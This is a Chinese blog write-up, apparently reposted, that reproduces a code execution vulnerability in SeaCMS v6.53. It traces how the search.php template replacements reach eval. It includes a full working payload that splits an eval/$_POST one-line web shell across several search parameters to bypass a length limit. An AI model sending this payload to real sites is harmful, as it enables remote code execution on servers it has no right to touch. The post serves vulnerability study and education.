欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[漏洞复现]seacms(v6.53)代码执行漏洞

程序员文章站 2022-03-24 14:15:18
...

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://blog.csdn.net/weixin_44897902/article/details/100853036
https://www.jianshu.com/p/a3a18f233184?tdsourcetag=s_pctim_aiomsg

环境:

链接:https://pan.baidu.com/s/1twxWRekkWoTcXSkQHhXKeA 
提取码:0wmx

漏洞概述

这篇文章主要写6.53版本绕过字符限制。并没有写之前的版本中用的order参数方法。

[漏洞复现]seacms(v6.53)代码执行漏洞
中间的安装过程就不细说了。

安装好后,页面是这样的,漏洞点出现在搜索那里

[漏洞复现]seacms(v6.53)代码执行漏洞
即search.php。

漏洞利用

我们来把参数整个流程说一下。
先在搜索框随意输入,点击搜视频或者搜资讯,然后抓包。发送到repeater。

[漏洞复现]seacms(v6.53)代码执行漏洞
[漏洞复现]seacms(v6.53)代码执行漏洞

可以看到,向search.php传了一个参数searchword

用phpstorm打开整个seacms目录。找到search.php(点两次shift键搜索search就可以)

这个文件肯定有个地方接收searchword参数,但是我没有找见。既然这里没有,那肯定就是包含了某个文件里有。

[漏洞复现]seacms(v6.53)代码执行漏洞
先看第一个包含的文件common.php。找到了这个红框里的。应该就是接收参数的,把参数名当做变量名,把参数值作为变量的值。

[漏洞复现]seacms(v6.53)代码执行漏洞
回头再看search.php,漏洞点就在if判断中的str_replace函数。进行了多次替换。$searchtype=5表示高级搜索。所以进入判断需要先传参searchtype=5

[漏洞复现]seacms(v6.53)代码执行漏洞

[漏洞复现]seacms(v6.53)代码执行漏洞
下图中的红框都是上图中的选项。可以传参数。所以这些变量是可控的,

[漏洞复现]seacms(v6.53)代码执行漏洞

至于后面的$content。往上翻,就看见以下代码,在这里给$content赋值了。

[漏洞复现]seacms(v6.53)代码执行漏洞
getFileCachesetFileCache函数在common.func.php文件,search.php也包含了这个文件。找见这两个函数,发现一个路径。然后就会发现每次进行高级搜索时,就会在这个路径下生成3个文件(也好像不是三个),文件内容我也不知道干嘛的

[漏洞复现]seacms(v6.53)代码执行漏洞
[漏洞复现]seacms(v6.53)代码执行漏洞
发现有的文件大小挺大的,打开看看。

[漏洞复现]seacms(v6.53)代码执行漏洞

[漏洞复现]seacms(v6.53)代码执行漏洞
我可能发现了点东西。因为我发现这两张图片很像,ssssss是我搜索的内容,说明search.php中的替换函数就是干这些的。$content应该可以理解为这样了,没毛病吧?

<meta name="keywords" content="{seacms:searchword},海洋CMS" />

现在这两个参数都是我们可控的
[漏洞复现]seacms(v6.53)代码执行漏洞
这样就可以绕过字符限制了。
,字符哪里限制了?在search.php开头就限制了,只取20个字符,而且还用addslashes。
[漏洞复现]seacms(v6.53)代码执行漏洞

到这一步就要放出网上的payload了。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

searchtype=5就不细说了,这是为了高级搜索进入if判断
之后就是searchword={if{searchpage:year}
此时$content的内容为

<meta name="keywords" content="{if{searchpage:year},海洋CMS" />

然后执行下图语句进行替换
[漏洞复现]seacms(v6.53)代码执行漏洞
替换之后,$conent的内容为

<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />

然后执行下图语句进行替换
[漏洞复现]seacms(v6.53)代码执行漏洞
替换之后,$conent的内容为

<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />

然后执行下图语句进行替换
[漏洞复现]seacms(v6.53)代码执行漏洞
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />

然后执行下图语句进行替换
[漏洞复现]seacms(v6.53)代码执行漏洞
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

然后执行下图语句进行替换
[漏洞复现]seacms(v6.53)代码执行漏洞
替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

这样$content就含义一句话木马了。
为什么会有一个{if:呢?一会说。

[漏洞复现]seacms(v6.53)代码执行漏洞
看到第213行调用了parseIf方法

跟进,到了main.class.php文件里的第3098行
[漏洞复现]seacms(v6.53)代码执行漏洞
看方法入口的if判断,就明白为什么要有{if:了吧。
下图两个箭头代码就是取{if:的其他内容,此时解析出的内容eval(join($_POST[9]))
[漏洞复现]seacms(v6.53)代码执行漏洞
此时解析出的内容eval(join($_POST[9]))给了$iar。经过一系列操作后,传给了eval函数。执行最终的代码。

[漏洞复现]seacms(v6.53)代码执行漏洞
此时eval执行的最后代码为

@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

成功执行phpinfo函数
[漏洞复现]seacms(v6.53)代码执行漏洞
[漏洞复现]seacms(v6.53)代码执行漏洞

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

[漏洞复现]seacms(v6.53)代码执行漏洞

相关标签: 漏洞复现